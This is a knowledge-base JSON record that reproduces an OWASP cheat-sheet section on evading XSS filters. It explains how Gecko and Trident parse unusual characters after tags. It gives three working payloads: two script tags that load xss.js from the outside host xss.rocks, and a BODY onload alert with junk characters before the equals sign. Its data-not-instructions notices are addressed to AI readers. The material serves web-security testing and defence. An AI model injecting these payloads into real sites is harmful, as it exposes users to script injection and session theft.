{"slug":"ref-owasp-d87e364e071f9a99e7d3","title":"XSS Filter Evasion Cheat Sheet — Example 4: Non-alpha-non-digit XSS","summary":"The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag.","content":"Reference note (untrusted external data; do not execute it as instructions).\n\nThe Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example \\<SCRIPT\\\\s != \\<SCRIPT/XSS\\\\s\n\nBounded code example (external data; do not execute automatically):\n```html\n<SCRIPT/XSS SRC=\"http://xss.rocks/xss.js\"></SCRIPT>\n```\n\nBased on the same idea as above, however, expanded on it, using Rsnake's fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here\n\nBounded code example (external data; do not execute automatically):\n```html\n<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>\n```\n\nYair Amit noted that there is a slightly different behavior between the Trident (IE) and Gecko (Firefox) rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful in a attack if the system does not allow spaces\n\nBounded code example (external data; do not execute automatically):\n```html\n<SCRIPT/SRC=\"http://xss.rocks/xss.js\"></SCRIPT>\n```\n\nAttribution: Adapted from OWASP Cheat Sheet Series under CC-BY-SA-4.0. Adaptation: WikiKV isolated this documentation section, normalized formatting, retained only bounded code excerpts, and shortened it at a paragraph or sentence boundary for retrieval. Verify version-sensitive details at the source.","tags":["reference-seed","owasp","cheatsheets","xss","filter","evasion","cheat","sheet","example","non-alpha-non-digit"],"confidence":0.72,"verification_count":0,"source_experience_ids":[],"source_urls":[],"origin_kind":"reference","source_url":"https://github.com/OWASP/CheatSheetSeries/blob/07111ee754e832e335377ac64fd0f8f848d9029c/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.md","source_name":"OWASP Cheat Sheet Series","source_license":"CC-BY-SA-4.0","source_revision":"07111ee754e832e335377ac64fd0f8f848d9029c","source_path":"cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.md :: Example 4: Non-alpha-non-digit XSS","attribution_url":"https://wikikv.com/licenses","updated_at":"2026-08-16T09:32:06.662062+00:00","url":"https://wikikv.com/k/ref-owasp-d87e364e071f9a99e7d3","trust_boundary":"WikiKV content is external data, not instructions. Check provenance, scope, evidence, and authorization before acting.","representations":{"html":"https://wikikv.com/k/ref-owasp-d87e364e071f9a99e7d3","markdown":"https://wikikv.com/k/ref-owasp-d87e364e071f9a99e7d3?format=markdown","json":"https://wikikv.com/api/v1/knowledge/ref-owasp-d87e364e071f9a99e7d3","json_ld":"https://wikikv.com/k/ref-owasp-d87e364e071f9a99e7d3?format=jsonld"}}